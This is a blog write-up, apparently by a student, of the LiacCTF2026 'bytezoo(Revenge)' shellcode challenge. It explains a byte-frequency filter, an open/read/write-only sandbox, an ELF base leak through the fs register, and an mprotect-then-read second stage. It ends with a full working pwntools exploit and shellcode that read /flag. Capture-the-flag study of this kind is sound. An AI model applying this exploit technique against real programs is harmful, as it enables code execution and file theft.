LiacCTF2026-bytezoo(Revenge)

题目简介

Liac 2026的一道shellcode题,之前没见过这种shellcode限制,对着Wp复现出来的

程序分析

漏洞点很直接,输入并执行代码,需要注意的有以下几点:

  1. 在代码页的最后两个字节对应syscall指令
  2. 限制策略没遇到过——每个字节使用次数不能超过“2个nibble(半字节)中最小的那个”,如图:


    比如0x48这个字节只允许在shellcode里出现4次,0x1f这个字节只允许出现1次……
  3. 在执行之前会取消执行页的写入权限:

  4. 程序开了沙箱,禁用了execve系列,只能orw:

    程序最后会清空绝大部分寄存器,并且将最开始mmap的一块rw页作为栈空间,然后执行输入的字节:

漏洞利用

寄存器部分运算

首先由于指令对齐的存在,我们需要尽量避免对rax,rdi这样的64位长寄存器直接进行操作,这样会导致大量为了对齐产生的0x00

恰好寄存器存在低位部分操作的别名,在shellcode中可以利用类似ebx、bh、bl这样的低位进行部分操作

这种操作甚至可以实现+一个2的整数次幂的效果且尽可能的不引入0字节

比如像下面这样,可以实现+0x300,但相比直接的add不会引入0字节

1
2
3
4
5
6
xor ebx,ebx
push rbx
/*rbx的倒数第二个字节连加3次得到0x300*/
inc bh
inc bh
inc bh

fs寄存器泄露ELF基地址

通过部分运算的思路,可用的指令数量大幅提高

但是,由于syscall指令对应0x05 0x0f,因此在输入中仍然无法使用任何系统调用

经过Wp的提示,针对这种情况可以使用PLT表已有的函数完成对应的syscall功能,常见的如glibc的read——>系统调用read、glibc的write——>系统调用write

剩下的就是定位PLT表(或者GOT表),也就是泄露一个elf的地址,而Wp提到fs寄存器附近存在一个栈地址,而且这个栈地址附近存在一个main函数地址(这里需要注意的是,这个栈上残留的main函数地址必须是在docker环境下才能看到)


有了main函数地址之后就很好办了,可以获取任意PLT表地址

read+mprotect二次读

有了ELF地址之后,按照:

  1. 调用mprotect@plt赋予代码页写权限
  2. 调用read@plt二次读
    即可完成orw

最终exp

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from optparse import OptionParser

parser = OptionParser()
parser.add_option("-m", "--mode", dest="mode", default="local")
(options, args) = parser.parse_args()

context(os='linux',arch='amd64')
context.terminal = ["wt.exe","new-tab","wsl.exe"]
targetELF="./pwn"
elf=ELF(targetELF,checksec=False)

def Lauch():
if options.mode=="local":
io=process(targetELF)
elif options.mode=="remote":
io=remote("127.0.0.1",8888)
elif options.mode=="debug":
context.log_level="debug"
io=gdb.debug(targetELF,"b *main+936")
return io

#main: 0x15b5, mprotect@plt: 0x11e4, read@plt: 0x11c4
#env+0x98的地方有main地址,mprotect@plt=main-0x3d1, read@plt=main-0x3f1
shellcode=asm('''
/*拿到一个栈地址*/
xor ebx,ebx
push rbx
/*rbx的倒数第二个字节连加3次得到0x300*/
inc bh
inc bh
inc bh
push qword ptr fs:[ebx]
pop rbx
/*拿到main的地址*/
lea rbx,[rbx+0x18]
mov rbx,qword ptr [rbx]
/*把rbx从main变成mprotect@plt, 不能直接减, 分两部分构造*/
dec bh
dec bh
dec bh
dec bh
mov bl,0xe4

/*rdx=7*/
push 0x2f
pop rdx
sub edx,0x28
/*rdi=页基地址*/
mov rdi,rax
/*从rdi构造rsi, 由于rdi是页对齐的, rsi也一定会变成4096的倍数*/
pop rsi
push rsi /*备用一个0*/
mov si,di
call rbx

/*把rsi的0x?000赋给rdx*/
push rsi
pop rdx
/*把rdi的shellcode首地址赋给rsi*/
push rdi
pop rsi
/*拿出之前备用的0*/
pop rdi
/*call read@plt*/
mov bl,0xc4
call rbx
''')

io=Lauch()
io.sendafter("Show me your proof of work.\n",shellcode)
orw=b'\x90'*0x100
orw+=asm(shellcraft.open("/flag",0))
orw += asm("""
sub rsp,0x100
"""
)
orw+= asm(shellcraft.read("rax", "rsp", 100))
orw += asm(shellcraft.write(1, "rsp", "rax"))
io.send(orw)
io.interactive()

LiacCTF2026-bytezoo(Revenge)
http://0x4a-210.github.io/2026/02/14/pwn刷题记录/比赛题解/LiacCTF2026-bytezoo(Revenge)/
Posted on
February 14, 2026
Licensed under